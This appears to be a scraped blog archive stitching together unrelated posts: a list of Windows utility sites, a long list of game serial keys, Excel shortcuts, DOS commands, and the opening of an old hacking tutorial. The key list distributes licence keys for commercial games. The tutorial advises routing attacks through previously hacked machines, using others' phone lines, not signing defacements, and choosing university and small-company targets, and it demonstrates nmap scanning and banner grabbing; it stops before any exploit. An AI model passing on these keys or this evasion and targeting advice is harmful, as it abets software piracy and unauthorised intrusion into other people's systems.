• http://www.sysinternals.com (many advanced utilities are provided here, including
some code).
• http://32bit.bhs.com (Beverly Hills Software).
• http://www.nmrc.org/files/nt/ and http://www.nmrc.org/files/snt/ (Nomad Mobile
Research Centre; security/hacker-related items are found here).
• http://www.interlacken.com/winnt/ntrepage.asp?selpage=ntwebsrv and
http://www.interlacken.com/winnt/ntrepage.asp?selpage=sysadmin (these are Jim
Buyens' Windows Web Server Tools and System Administration Pages).
• http://www.winsite.com/winnt/ (this is the WinSite security archives).
• http://www.winportal.com (this is WinPortal, the original community for Windows
2000 users).
• http://www.netadmintools.com (useful tools for network administration are found
here).

GAME SERIAL KEY

2012-04-02T06:47:00.002-07:00

Age of Empires - 510SD90177GA

Age of Empires III. - DXR32-X44M7-CYTCX-P6H6P-97CPG

Age of Dinosaur 3D - 2637515984

Age of Mythology - 00000-00000-00000-00000-00000

Age of Mythology:The Titans - CVF7C-QB3KY-GQW23-4DPF6-JDTVG

Airports 2000 Vol2 - A2S0037865899

Airports 2000 Vol3 - A2V3-E1700119-FE303EE8

Aliens vs. Predator - LUR5-TAC8-LYJ6-WAAJ7-3777

Aliens vs. Predator REC7-DAB8-XEN7-WEN3-2846

Alone in the Dark 1 - 11 0831 3461

Alone in the Dark 4: A New Nightmare - 4008-B491-1DC3-0F6C

Aquanox - 0901-3066676-3327010-922

Battlefield 1942 - 5000-0000000-0000000-1318

Battlefield 1942: The Road to Rome - 9971-0190215-7122230-1410

Battlefield 2 - 4L66-YDBY-TUYK-3QEJ-TEE7

Battlefield Vietcong - V2W6-54VJ-9R11-XJPU-79CM

Battle Mages - 3BQUX-Z6DR5-YFXRU-C3N5S-6VGP5

Black & White - 0901-3324366-4702210-2081

Black & White 2 - 0YYG-NSRE-FIGH-TING-4FUN

Black & White: Creatures Island - 4963-7882913-5984076-1609

Blade Runner - KD921A10007637

C&C 4 Yuri's Rache - 042934-592829-117683-6047

C&C 4 Alarstufe Rot 2 - 021254-848674-334871-5105

Call of Dutty - GHHP-4X8S-8P24-SSG4-F774

Call of Duty:United Offensive - 74B3-JN4N-4WT4-WRHN-64BF

Call of Dutty 2 - YEZL-GZWX-XQZG-GEGU-EEFC

Comandos 3 - 2738029485702938432498902

Chaser - 04WF-N7CS5-27XP7-0VHSS-VD7XH

C&C:Red Alert 2 - 020736-428526-011875-6507

C&C:Red Alert 2:Yury's Revengen - 043930-288237-966022-4511

C&C:Renegade - 056606-674119-124870-9258

C&C:Tiberian Sun - 000722-000722-000722-7575

Commanche 4 - 3S2D-FLT1-CLS2-RULE-7865

C&C:Red Alert 2 - 020736-428526-011875-6507

C&C:Red Alert 2:Yury's Revengen - 043930-288237-966022-4511

C&C:Renegade -056606-674119-124870-9258

C&C:Tiberian Sun - 000722-000722-000722-7575

Commanche 4 - 3S2D-FLT1-CLS2-RULE-7865

Cricket 2002 -4792-1088041-926936-4601

Cross Racing Championship 2005 - M3CZ-P5186-XNEYL-CL0T7-513NT

Cultures 2 - NQSD-090Z-B4QN-02KZ-VO57

DOOM 3 Resurrection of Evil - PSBC-TASC-33WB-PH7L-C0

Diablo 2 - 4Z7E-8NJM-ECM9-7GJW

Dark Age of Camelot -HL9GNWW-WKFPMVQ-MJMDY6L-YCRGN6A-M1JGYB1

Delta Force - LJZR-ULTL-DCAE-7FRZ-2QRP

Delta Force:Black Hawk Down - QZP3-EPZW-SP5N-2XEX-H7JG

Delta Force:Black Hawk Down-Team Sabre - AV4E-YVQE-NACM-DD3M-KBW3BW3

Delta Force 2 - 288T-9AJ2-CVXN-BYSS-NNZW

Delta Force 3:Land Warrior -N5E3-YXH2-G983-9WYB-B3ZS

Delta Force:Task Force Dagger - 72YL-R4SB-GKG6-3WKS-HQ27

Diablo 2:Lord of Destruction - 6PNP-D7PG-HZ8M-PZNP

Devastation - 5B36F-976AA-6A471-58B8D-92B7B

Doom 3 - PVXB-L6U7-JPUZ-V3ND-B4

Doom 3:Resurection of Evil - PSBC-TASC-33WB-PH7L-C0

Dune Emperor:Battle for Dune - 038785-895894-747474-9011

Dune 3 - 036642-256734-246754-5204

Empire of dune - 031528-834681-023996-9003

Empire Earth - ran6-mug2-syj2-gyl7-3385

Empire Earth The art of conquest - tuf2-xac4-cum3-zen2-2884

Empire Earth 2 - TAR7-GEB6-GAL9-BUL6-5343

Earth 2150: Lost Souls - 7XJC-UD2E-E83L-Z5T5

Emperor:Battle for dune - 036642-256734-246754-5204204

Emperor:Rise Middle Kingdom - BAC9-RAL8-SAS2-SAX2-9999

Empire Earth:Art of Conquest - GER2-MAN2-RAP2-PER5-2252

F.E.A.R. - BAC-DCCC-NCCC-CCC-1233

Fifa 2001 worl cup - 4521-0294200-3549899-3446

Fifa 2002 world cup - 2087-9195279-9016764-0022

Fifa 2003 world cup - RYVU-8UDY-ZZ5W-RVWD

Fifa 2004 world cup - JF8Y-Z9Y2-8S46-A44N-NDER

Fifa 2005 world cup - NYHZ-38PW-8LDN-R7L7-7RLD

Fifa 2006 world cup - PV3T-6YXM-T2LZ-MT2N-3RLD

F1 2001 - 4500-8231935-2120930-1077

F1 2002 - 7931-9865028-6024865-1156

F1 Championship Season - 20001500-8510031-6424109-3971

F1 Challenge - 3003-2986583-3827742-2403

Freedom Fighters - PQGY-4FAQ-TMQ5-Q4X8-KXCS

Frontline Attack:War over Europe - FUBP-EYNZ-KFXC-SKM2

GTA San Andreas - kme5-59m5-4iq4-dfa9

Gunman Chronicles - 2609-57245-0368

Galactic Civilizations - DN-627806-GC1-AEDAF6040A

Gotfater - ADQQ-G24G-BNAG-VBNY-7RLD

Global Operations - 5000-00000000-0000000-5021

Generals Zero Hours - Y83K-CT4F-VL2X-4X4M-SW8X

Hitman 2 - PGC45WA7T7XNBU6YA6BW

Haegemonia:Legions of Iron - A3B3-84A6-F25B-35E3>

Half-Life - 4336-04196-6119 nebo 3681-91323-4731

Half-Life:Blue Shift - 2884-52653-7164

Half-Life:Counter strike - 4422-93598-8995

Half-Life:Game of the Year Edition - 4336-04196-6119

Half-Life:Initial Encounter - 0176-11134-0245

Half-Life:Opposing Force - BUF5-ZED4-DUD6-GYS8-4662

Harry Potter and the Chamber of Secrets - 1612-4431389-3567081-2617

Harry Potter and the Philosopher's Stone - 0901-7014788-4117807-0206

Hary Potter and prisoner of Askaban - GQAJ-4LD8-S6HQ-U9NL-5YP3

Harry Potter Quidditch Cup - BH4U-GCNX-WMJ8-ZGKY-4DEV

Heli Heroes - DJP9-MXYL-7AU2-ZXW5

Heroes Of Might And Magic 8 - WFCG545234QB

Homeworld2 - NAS3-DEC2-BYJ5-CUJ6-8385385

Hooligans - 4F9QD5-SF4WD5-A681FA-AD1ASD

International Cricket Captain 2001 - VPC5-3NR5-I58K

Industry Giant 2 - 4P68-KLOW-XUVL-7ED2

Island Xtreme Stunts - 1500-0807060-6130480-2623

James Bond 007 Nightfire - 17409488-24551711525578

King kong - C4JRA-YK9AL-86ABQ-GF5VG-MKF37

Kingdom Under Fire - E1KJ-RL62-COO7-FT96

Kohan:Ahriman's Gift - 1001-DEAD-DEAD-0037

Kohan:Immortal Sovereigns - 5DE5-EA10-EF80-2D06

Medal of honor:Pacific assault - ZGFX-9N55-TXMV-ZAU3-RRLD

Medal of honor:Alied Assault - 5000-0000000-0000000-5068

NBA live 2001 - 2001 0020601 0010978 6694

NBA live 2003 - 1124-8E60-C075-83YS

NBA live 2004 - R9Z9-K93C-2NEC-ROMA-NCER

NBA live 2005 - GM4C-7UHZ-QBSR-THUB-FRLD

NBA live 2006 - G7QY-ZBHS-VNSW-HGVM-HFJ2

Need for speed 2 - w9lg-c5td-gmld-aze7

Need for speed 5 - 14077 BUSY CODA CALF BIFF

Need for speed 6 hot pursuit 2 - C2VS2WF2ECV2WGZ

Need for speed Underground - A7AJ-23NQ-GWA6-JNAW-SDEV

Need for Speed:Underground 2 - 7BGQ-PUZ9-TE4T-BXEH-RLD0

Need for Speed:Most Wanted - 9LJS-K228-5N4F-X5OK-FDEV

Need for speed Most Wanted - HG34-P09L-J76E-MNH2-0JZR

NHL 2001 - 1500781832203519682357

NHL 2002 - 1000-2003004-0000000-4904

NHL 2003 - MQSA-XY1H-3BLE-FAM7

NHL 2004 - R9NN-WA4K-6NEC-ROMA-NCER

NHL 2005 - NG7F-DB8J-6E6V-CTQT-SE13

NHL 2006 - 88T3-SCYN-AYBK-MQ78-JL62

Nascar 4 - GAC7-FAB2-DYX4-DEF2-4849

Nascar Craftsman Truck Series - DES6-DAB2-ZEL6-CAX2-5799

Nascar Racing 2000 - 14044-BUSY-LISA-SLOP-VIVA

Nascar Racing 2002 - RAF2-RAL2-RAS2-RAX2-6667

Nascar Thunder 2003 - NASC-ARTH-UNDE-RJAM

No One Lives Forever:Contract J.A.C.K. - XYR9-FEB6-CYP5-NUG3-7248

Neverwinter Nights - JALTY-4D9J9-AWNW4-GNUUC-VLGQA-XTVCM-PRFXM

Neverwinter Nights:Shadows of Undrentide - RX4KP-Y6P9Q-6H6PL-GRCK7-FFP7G-PJ64E-DA9J6

Neverwinter Nightsreast - 4PRMD-YGU6N-G6J4C-9DVWQ-XXNEK-WGFPJ-79PFH

Operation Flashpoint - 0L7S-CJWWD-YFNSP-VE7SA-1KGZM

Operation Flashpoint:Gold: Red Hammer - M3CZ-P5186-XNEYL-CLOT7-513NT

Operation Flashpoint:Red Storm - 28H4-4873-3875G4-8472

Pariah - FG2PP-5BQAE-45T5F-NJ983-3UUNA-L2KQC

Painkiller - 8B0B-AE17-CBC5-AA079863H

PES 5 - WY3A-MWUE-7JF5-HJHE-AL7L

Port Royale - OODXO-OJHCD-CKCBY-VNBDD-G85F8

Precision Pilot - CVQ-14129-NPX

Primitive Wars - 17Z0-0C00-01200

Project I.G.I. 2: Covert strike - 1320-615D-BA73-52EC

Quake 3: Arena - CJRAH7BPGW32LSTD

Quake 3:Team Arena - TSBH-7CCG-DPWP-B2LT-84

Roller Coaster Tycoon 3 - xa3d-fwp8-ullk-s7j2-etwn-45ul

Rally Championship Xtreme - WHFNK6-VB3HSN-9HGN86-TPSRHF

Rails Across America - 1499-C1EE-1B1F-F546

Rise of Nations - RXVC3-B3347-DVG9X-FTFQF-9M7XT

Rally Trophy - 4A65-7AF9-8487-62D4

Real Air Traffic Controller 2 - 044-0800-23000007152226

Red Ace Squadron - B1292168-EF12-43D3-B64A-3CEC766DF859

Return To Castle Wolfenstein - CLAL-A7WJ-DTSJ-WARP-88

Route 66 Evropa - 247661332BSFZ
Sacred 3A0XB-AL5MU-9GBPH-RMHC5
Serious Sam 2 041c-046c-7e67-cf02 40f8-6dc0-2c90-92a5
Settlers 3 5283-1250-7830-4031-8602
Settlers 3:Quest of The Amazons 9978-3032-0347-4546
Settlers 4 2188-0214-3297-7146-5094
Shogun:Total War 1600-0052410-0052410-6424 1507-5450041-3504115-1538
Shogun:Total War:Mongol Invasion 4505-5365525-1636262-0821
Silent Hunter 3 MH39X-XFUNW-ZQ3DQ-HJB3J-8WC9X
Sim City 4 NCM4-RHYX-6QMX-DX4M
Sim City 4:Rush Hour CLC4-5ZU8-6C4S-9W46-LS4E DG4C-ZDYT-3QSY-E3E7-PUVY
Singles:Flirt up your life EXLSAN-LEP775-AR88MF-5M5NQS
Ski Racing EALH-KH87-L0K6-LOOD
Soldier of Fortune LAB4-RUB8-MAP6-NUR6-5587 NAR8-FAJ6-JAL4-RYJ7-4867
Soldier of Fortune 2 P7PX-FZMK-WZ47-PRTR-C2
Soldier of Fortune 2:Double helix MTKW-FTMK-EMFE-W3P3-B7 3Z4J-J3PP-K848-EWPK-1F
Soldiers of Anarchy DUDK-61FG-G7KY-DB64 JD7S-7D5B-GEYC-EXW6
Spell Force: the Order of Dawn 6HGDN-NTFLM-VCS7N-8613K-NN6TL
Spellforce NVHI-1K54-0000-0001
Star Wars:Battlefront f2e4-101f-d6f8-26aa-eu20 637e-aead-6537-d940-pa40
Star Wars:BattleFront 2 65d5-c9e-602-a546-eu20 ca37-8f8-e7b-dfa3-eu20
Star Wars:Empire at War fc4c-3d8-05f-d411-uk20
StarCraft 1234-56789-1234 1998-00000-1997
Swat 3 Bac2-BaB2-BaB2-BaB2-2352
SWAT 3:Close Quarters Battle TER2-NAB8-PAB9-SEM7-5658
SWAT 3:Elite Edition LYF9-JUB4-BUM3-ZED7-9774
SWAT 4 NYD2-MAB8-REJ3-MYM6-4733
Swat 4 datadisk TUB3-WEB8-LER8-PYT7-8327
Terminator 3:War of the machines DEVV-STUQ-S6PL-Y49P
The Gladiators UK-9B4E-FFFF-F6FA-770C-BD42
The Godfather VSWW-X58A-D97A-4D95-CRLD ADQQ-G24G-BNA6-VBNY-7RLD
The Sims 100486-585530-905808-0928 100553-220953-426455-5207
The Sims 2 B4FX-9TED-7JKD-4SUK-P3YJ DWJ2-Q92Z-R1R1-5F6R-077P
The Sims 2:Nightlife NJ99-FNBL-7DEV-6A24-QDEV RP77-LS3G-ADEV-YUUK-GDEV
The Sims 2:University R44C-HRNL-VUCT-8WAZ-U1G9 6PFX-W8AH-MVNG-X90X-F4JH
Tony Hawks Pro Skater 4 P4EPBTIQDAIH7WXZ
Tony Hawk's:Undergraund 2 BUUG-CFB3-2CKA-UYMG-E15F
Track Mania L29B7K-C8DMF5-PGM5YS-U6ED3J
Track Mania:Power Up 8RGJNH-4LKANA-D2D9YV-B9YSW4
Track Mania:Power Up (multiplayer) 45WC-45JC-MHM5-DYKJ-C44
Train Sim:The Activities 6850-YV6AYS6B
Trainz Rairoad Simulator 2004 ATRS-29HM-AQWZ-7DTK-Z8ZD-CAZK
UEFA Euro 2004 HZ9H-CFTP-F7XH-L69S-UC6V 08BK-5ZWR-FIGH-TING-4FUN
Unreal Tournament 6YZ9J-C7KBE-A2ANQ-J2WJZ
Unreal Tournament 2004 3HJKN-RM4VE-ADPUQ-EZX3A P7GX9-6RDDB-ANMRM-QGK2X
Unreal Tournament 2005 98MVW-F4ZBD-AKXYN-FZH3L
Vampire:The Masquerade Redemption RAC2-SAL2-GAT3-RAD3-7885
Vietcong 2 AAG8-7VRQ-99TI-V9V6-L9M9 NA11-AMB8-751R-4DR8-US7R
Warcraft 2 6696-2TGV-TT64-CNMV
WarCraft 3 (beta) HJOPZL-BSVT-AMEKLW-YN77-A4HVUC U8ABO0-RE7K-WMJL88-1WAQ-RT0O7Q

WarCraft 3:The Frozen Throne KHH2BT-N98D-KZKVBT-DYC4-WHNXNH BP6JCF-NKJB-ZPE7R7-ZWBY-R6H6Z2
WarCraft 3:The Reign of Chaos U8ABOS-RE7K-WMJL88-1WAQ-RT0O7Q
Warhammer 40000 Dawn of War CCD7-C38D-CAE4-CBFD 6337-3502-3E72-0523
World War III:Black Gold 4MU5-6ULW-454L-4222
World war 3:Black gold RL7W-8XZA-YMM8-8222
Xpand Rally QCZGQ-8ZSZF-28685-RBEBA-K3BT9Y
Zax:The Alien Hunter 1588-8938-7622-6400-6828
ZanZarah:The Hidden Portal 1F57-7JJ3-UHN3-P0PA-ZXED

EXCEL SHORTCUTKEY

2012-03-23T08:29:00.000-07:00

CTRL Shortcuts
CTRL + A Select All
CTRL + B Bold
CTRL + C Copy
CTRL + C, ALT E+S Paste Special
CTRL + D Fill Down
CTRL + F Find
CTRL + G Go to
CTRL + H Replace
CTRL + I Italic
CTRL + K Insert Hyperlink
CTRL + N New Workbook
CTRL + O Open File
CTRL + P Print
CTRL + R Fill right
CTRL + S Save workbook
CTRL + U Underline
CTRL + V Paste
CTRL + W Close window
CTRL + X Cut
CTRL + Y Repeat
CTRL + Z Undo
CTRL + 1 Format Box
CTRL + 5 Strike-through
CTRL + 7 Hide/show toolbar
CTRL + 9 Hide row
SHIFT + CTRL + 9 Unhide row
CTRL + 0 Hide column
SHIFT + CTRL + 0 Unhide column
CTRL + ~ Show formulas/values
CTRL + ‘ Copy above formula
CTRL + ; Display date
SHIFT + CTRL + : Display time
CTRL + [ Precedents
CTRL + ] Dependents
CTRL + Enter Fill selection w/ entry
Formatting Shortcuts
ALT + ‘ Display style
CTRL + 1 Format Box
SHIFT + CTRL + ~ General format
SHIFT + CTRL + ! Number format
SHIFT + CTRL + @ Time format
SHIFT + CTRL + # Date format
SHIFT + CTRL + $ Currency format
SHIFT + CTRL + % Percentage format
SHIFT + CTRL + ^ Exponential format
SHIFT + CTRL + & Outline border
SHIFT + CTRL + _ Remove border
SHIFT + CTRL + * Select region
Tools > Customize > Options Show full menus
Navigation and Data Editing
Arrow keys Move to new cells
ALT + Display a drop-down list
ALT + Tab Switch programs
CTRL + Pg Up/Down Switch worksheets
CTRL + Tab Switch workbooks
CTRL + Arrow keys Go to end of contiguous range
SHIFT + Arrow keys Select a cell range
SHIFT + CTRL + Arrow keys Highlight contiguous range
Home Move to beginning of row
CTRL + Home Move to cell “A1”
F5 “Go to”
ENTER Move to cell below
SHIFT + ENTER Move to cell above
TAB Move to cell to the right
SHIFT + TAB Move to cell to the left
BACKSPACE Delete cell and get inside
DELETE Delete cell/selection
F2 Edit/ highlight dependent cells
When inside cell…
ALT + ENTER Start new line in same cell
SHIFT + Arrow keys Highlight within cells
SHIFT + CTRL + Arrow keys Highlight contiguous items
BACKSPACE Delete preceding character
DELETE Delete character to the right
F4 Anchor “Fix” Cells
ESC Cancel a cell entry
F7 Spell check
SHIFT + F2 Insert a comment
CTRL + F3 Name a cell
ALT Shortcuts
ALT + Tab Switch program
ALT + ‘ Display style
ALT + T + O Options Menu
ALT + T + I Add-Ins Menu
ALT + E + S Paste special box
ALT + E + S + T Paste format only
ALT + W + S (Un)split panes
ALT + W + F (Un)freeze windows
ALT + E + M Move/ Copy a sheet
ALT + E + L Delete worksheet
ALT + V + Z Change view sizing
ALT + O + C + A Fit column width
ALT + O + H + R Change tab name
ALT + E + A Clears cell
ALT + F + V Print preview
ALT + F4 Close program
ALT + F8 Macro box
ALT + F11 Visual basic editor
Columns and Rows
SHIFT + Spacebar Highlight row
CTRL + Spacebar Highlight column
SHIFT + ALT + Group rows/columns
SHIFT + ALT + Ungroup rows/columns
CTRL + Minus sign Delete selected cells
SHIFT + CTRL + Plus Sign Insert blank cells
Formulas and Auditing
= (equals sign) Start a formula
SHIFT + F3 Display “Insert Function” box
ALT + “=“ Insert AutoSum formula
CTRL + ‘ (apostrophe) Copy formula from above cell
SHIFT + CTRL + “ (quote) Copy value from above cell
CTRL + ~ Show formulas/values
F9 Recalculate all workbooks
Auditing formulas…
ALT + T + U + T Trace immediate precedents
ALT + T + U + D Trace immediate dependents
ALT + T + U + A Remove tracing arrows
CTRL + [ Go to precedent cells
CTRL + ] Go to dependent cells
SHIFT + CTRL + { Trace all precedents (indirect)
SHIFT + CTRL + } Trace all dependents (indirect)
F5 + Enter Go back to original cell
Function Key Shortcuts
F1 Excel Help Menu
F2 Edit cells
F3 Paste Name
F4 Repeat or anchor cells
F5 “Go to”
F6 Next pane in split mode
F7 Spell check
F8 Anchor to highlight
F9 Recalculate workbooks
F10 Activate menu bar
F11 New chart
F12 Save as
SHIFT + F2 Insert a comment
SHIFT + F3 “Insert Function” Box
SHIFT + F4 Find Next
SHIFT + F5 Find
SHIFT + F6 Previous pane
SHIFT + F8 Add to selection
SHIFT + F9 Calculate active sheet
SHIFT + F10 Display shortcut menu
SHIFT + F11 New worksheet
CTRL + F3 Name a cell
CTRL + F4 Close window
CTRL + F9 Minimize workbook
CTRL + F10 Maximize window
CTRL + F12 Open File
Windows Flag + D Minimize program
Windows Flag + E Windows explorer

DOS/Windows useful Commands/Utilities:

2012-03-23T08:26:00.001-07:00

DOS/Windows useful Commands/Utilities:
File Commands:
Type a file type <file>
See file Page wise more <file>
Update file’s time stamp touch <file>
Print a file print <file>
Delete a file del <file>
rm <file>
Directory Commands:
Create (Make) Directory: md <Directory>
Change Directory: cd <Directory>
Remove Directory rd <Directory> {If <directory> is empty}
Delete <Dir> recursively rm –rf <Directory> {–r à recursive & -f à forcefully}
Copy Directory recursively xcopy <src> <dst> /s {-sà recursive}
File/Directory Commands:
See the List of a directory dir { /p à Page Wise, /w à Wide Listing, /o àOrdered}
Rename/Move ren <src> <dst>
move <src> <dst>
mv <src> <dst>
Change Attribute attrib ±r ±h ±s <File/Dir>
attr ±r ±h ±s <File/Dir> {attr is a third party utility}
Zip pkzip <file.zip> files
UnZip a zipped file pkunzip <file.zip>
Disk Commands:
Partition a disk fdisk <drive>
Format a disk format <Drive>
Floppy Disk Copy diskcopy <src drive> <dst drive>
Date & Time:
To set/see the date date
To set/see the time time
TSR (Terminate & Stay Resident) Programs:
Get previous commands in command shell doskey
Other Commands:
Clear Screen cls

How to learn to hack in easy steps

2012-03-22T00:41:00.002-07:00

How to learn to hack in easy steps

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Introduction

~~~~~~~~~~~~

Hi there, I'm ABC and I'd like to give back all the things i've learnt from the hackers i've

met. I want to write this because most tutorials i've found (very good tutorials) are now

old and don't fit just like they did before. This is why i'm going to teach you and show you

the way to learn to hack.

If you are a hacker, you read this, and find something that's not correct or you don't like,

i want to know. mail me.

I'm sure you'll find a lot of bad-grammars. Don't report them cause I'm not english and

i don't care at all as long as it's understandable.

On this document I talk about many security tools, you can find all them and also contact

me on my site: www.3b0x.com

When you finish reading it, please TELL ME how you like it!

I want to make newer versions of it, check on my site to stay informed.

COPYING: You're welcome to distribute this document to whoever the hell you want, post it

on your website, on forums, newsgroups, etc, AS LONG as you DON'T MODIFY it at all.

If you want to perform it, ask me for permission. thanks a lot!

DISCLAIMER: This document is intended for ludical or educational purposes. I don't want to

promote computer crime and I'm not responible of your actions in any way.

If you want to hack a computer, do the decent thing and ask for permission first.

Let's start

~~~~~~~~~~~

If you read carefully all what i'm telling here, you are smart and you work hard on it,

you'll be able to hack. i promise. That doesn't really make you a hacker (but you're on the way).

A hacker is someone who is able to discover unknown vulnerabilities in software and able to

write the proper codes to exploit them.

NOTE: If you've been unlucky, and before you found this document, you've readen the

guides to (mostly) harmless hacking, then forget everything you think you've learnt from them.

You won't understand some things from my tutorial until you unpoison your brain.

Some definitions

~~~~~~~~~~~~~~~~

I'm going to refer to every kind of computer as a box, and only as a box.

This includes your PC, any server, supercomputers, nuclear silos, HAL9000,

Michael Knight's car, The Matrix, etc.

The systems we're going to hack (with permission) are plenty of normal users, whose

don't have any remote idea about security, and the root. The root user is called

superuser and is used by the admin to administer the system.

I'm going to refer to the users of a system as lusers. Logically, I'll refer to

the admin as superluser.

Operating Systems

~~~~~~~~~~~~~~~~~

Ok, I assume you own a x86 box (this means an intel processor or compatible) running windoze9x,

or perhaps a mac (motorola) box running macOS.

You can't hack with that. In order to hack, you'll need one of those UNIX derived operating

systems.

This is for two main reasons:

-the internet is full of UNIX boxes (windoze NT boxes are really few) running webservers and

so on. to hack one of them, you need a minimun knowledge of a UNIX system, and what's better

than running it at home?

-all the good hacking tools and exploit codes are for UNIX. You won't be able to use them unless

you're running some kind of it.

Let's see where to find the unix you're interested on.

The UNIX systems may be divided in two main groups:

- commercial UNIXes

- free opensource UNIXes

A commercial unix's price is not like windoze's price, and it usually can't run on your box,

so forget it.

The free opensource UNIXes can also be divided in:

- BSD

These are older and difficult to use. The most secure OS (openBSD) is in this group.

You don't want them unless you're planning to install a server on them.

- Linux

Easy to use, stable, secure, and optimized for your kind of box. that's what we need.

I strongly suggest you to get the SuSE distribution of Linux.

It's the best one as i think, and i added here some tips for SuSE, so all should be easier.

Visit www.suse.de and look for a local store or order it online.

(i know i said it the software was free, but not the CDs nor the manual nor the support.

It is much cheaper than windoze anyway, and you are allowed to copy and distribute it)

If you own an intel box, then order the PC version.

If you own a mac box, then order the PowerPC version.

Whatever you do, DON'T PICK THE COREL DISTRIBUTION, it sucks.

It's possible you have problem with your hardware on the installation. Read the manual, ask

for technical support or buy new hardware, just install it as you can.

This is really important! READ THE MANUAL, or even buy a UNIX book.

Books about TCP/IP and C programming are also useful.

If you don't, you won't understand some things i'll explain later. And, of course, you'll

never become a hacker if you don't read a lot of that 'literature'.

the Internet

~~~~~~~~~~~~

Yes! you wanted to hack, didn't you? do you want to hack your own box or what?

You want to hack internet boxes! So lets connect to the internet.

Yes, i know you've gotten this document from the internet, but that was with windoze

and it was much easier. Now you're another person, someone who screams for knowledge and wisdom.

You're a Linux user, and you gotta open your way to the Internet.

You gotta make your Linux box to connect to the net,

so go and set up your modem (using YaST2 in SuSE).

Common problems:

If your box doesn't detect any modems, that probably means that you have no modem installed

:-D (not a joke!).

Most PCI modems are NOT modems, but "winmodems". Winmodems, like all winhardware, are

specifically designed to work ONLY on windoze. Don't blame linux, this happens because the

winmodem has not a critical chip that makes it work. It works on windoze cause the vendor

driver emulates that missing chip. And hat vendor driver is only available for windoze.

ISA and external modems are more probably real modems, but not all of them.

If you want to make sure wether a modem is or not a winmodem, visit http://start.at/modem.

Then use your modem to connect to your ISP and you're on the net. (on SuSE, with wvdial)

NOTE: Those strange and abnormal online services like aol are NOT ISPs. You cannot connect the

internet with aol. You can't hack with aol. i don't like aol. aol sucks.

Don't worry, we humans are not perfect, and it's probably not your fault. If that is your case,

leave aol and get a real ISP. Then you'll be forgiven.

Don't get busted

~~~~~~~~~~~~~~~~

Let's suppose you haven't skipped everything below and your Linux bow is now connected to the net.

It's now turn for the STEALTH. You won't get busted! just follow my advices and you'll be safe.

- Don't hack

this is the most effective stealth technique. not even the FBI can bust you. :-)

If you choose this option, stop reading now, cause the rest is worthless and futile.

- If you change a webpage, DON'T SIGN! not even with a fake name. they can trace you, find

your own website oe email address, find your ISP, your phone number, your home...

and you get busted!!

- be PARANOID, don't talk about hacking to anyone unless he is really interested in hacking too.

NEVER tell others you've hacked a box.

- NEVER hack directly from your box (your_box --> victim's box).

Always use a third box in the middle (your_box --> lame_box --> victim's box).

Where lame_box is a previously hacked box or...a shell account box!

A shell account is a service where you get control of a box WITHOUT hacking it.

There are a few places where shell accounts are given for free. One of them is nether.net.

- Don't hack dangerous boxes until you're a real hacker.

Which boxes are dangerous:

Military boxes

Government boxes

Important and powerful companies' boxes

Security companies' boxes

Which boxes are NOT dangerous:

Educational boxes (any .edu domain)

Little companies' boxes

Japanese boxes

- Always connect to the internet through a free and anonymous ISP

(did i tell you that AOL is NOT an ISP?)

- Use phreking techniques to redirect calls and use others' lines for your ISP call.

Then it'll be really difficult to trace you. This is not a guide to phreaking anyway.

TCP ports and scanning

~~~~~~~~~~~~~~~~~~~~~~

Do you got your stealth linux box connected to the internet (not aol)?

Have you read the manual as i told you?

Then we shall start with the damn real thing.

First of all, you should know some things about the internet. It's based on the TPC/IP protocol,

(and others)

It works like this: every box has 65k connection PORTS. some of them are opened and waiting for

your data to be sent.

So you can open a connection and send data to any these ports. Those ports are associated with

a service:

Every service is hosted by a DAEMON. Commonly, a daemon or a server is a program that runs

on the box, opens its port and offers their damn service.

here are some common ports and their usual services (there are a lot more):

Port number Common service Example daemon (d stands for daemon)

21 FTP FTPd

23 Telnet telnetd

25 SMTP sendmail (yes!)

80 HTTP apache

110 POP3 qpop

Example:

when you visit the website http://www.host.com/luser/index.html, your browser does this:

-it connects to the TCP port 80

-it sends the string: "GET /HTTP/1.1 /luser/index.html" plus two 'intro'

(it really sends a lot of things more, but that is the essential)

-the host sends the html file

The cool thing of daemons is they have really serious security bugs.

That's why we want to know what daemons are running there, so...

We need to know what ports are opened in the box we want to hack.

How could we get that information?

We gotta use a scanner. A scanner is a program that tries to

connect to every port on the box and tells which of them are opened.

The best scanner i can think of is nmap, created by Fyodor.

You can get nmap from my site in tarball or rpm format.

Let's install nmap from an .rpm packet.

bash-2.03$ rpm -i nmap-2.53-1.i386.rpm

then we run it:

bash-2.03$ nmap -sS target.edu

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )

Interesting ports on target.edu (xx.xx.xx.xx):

(The 1518 ports scanned but not shown below are in state: closed)

Port State Service

21/tcp open ftp

23/tcp open telnet

25/tcp open smtp

80/tcp open http

110/tcp open pop3

Nmap run completed -- 1 IP address (1 host up) scanned in 34 seconds

Nmap has told us which ports are opened on target.edu and thus, what services it's offering.

I know, i said telnet is a service but is also a program (don't let this confuse you).

This program can open a TCP connection to the port you specify.

So lets see what's on that ports.

On your linux console, type:

bash-2.03$ telnet target.edu 21

Trying xx.xx.xx.xx...

Connected to target.edu.

Escape character is '^]'.

220 target.edu FTP server (SunOS 5.6) ready.

quit

221 Goodbye.

Connection closed by foreign host.

You see?

They speak out some valuable information:

-their operating system is SunOS 5.6

-their FTP daemon is the standard provided by the OS.

bash-2.03$ telnet target.edu 25

Trying xx.xx.xx.xx...

Connected to target.edu.

Escape character is '^]'.

220 target.edu ESMTP Sendmail 8.11.0/8.9.3; Sun, 24 Sep 2000 09:18:14 -0

400 (EDT)

quit

221 2.0.0 target.edu closing connection

Connection closed by foreign host.

They like to tell us everything:

-their SMTP daemon is sendmail

-its version is 8.11.0/8.9.3

Experiment with other ports to discover other daemons.

Why is this information useful to us? cause the security bugs that can let us in depend

on the OS and daemons they are running.

But there is a problem here... such information can be faked!

It's difficult to really know what daemons are they running, but we can know FOR SURE

what's the operating system:

bash-2.03$ nmap -sS target.edu

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )

Interesting ports on target.edu (xx.xx.xx.xx):

(The 1518 ports scanned but not shown below are in state: closed)

Port State Service

21/tcp open ftp

23/tcp open telnet

25/tcp open smtp

80/tcp open http

110/tcp open pop3

TCP Sequence Prediction: Class=random positive increments

Difficulty=937544 (Good luck!)

Remote operating system guess: Linux 2.1.122 - 2.2.14

Nmap run completed -- 1 IP address (1 host up) scanned in 34 seconds

Hey wasn't it SunOS 5.6? Damn they're a bunch of lame fakers!

We know the host is running the Linux 2.x kernel. It'd be useful to know also the distribution,

but the information we've already gathered should be enough.

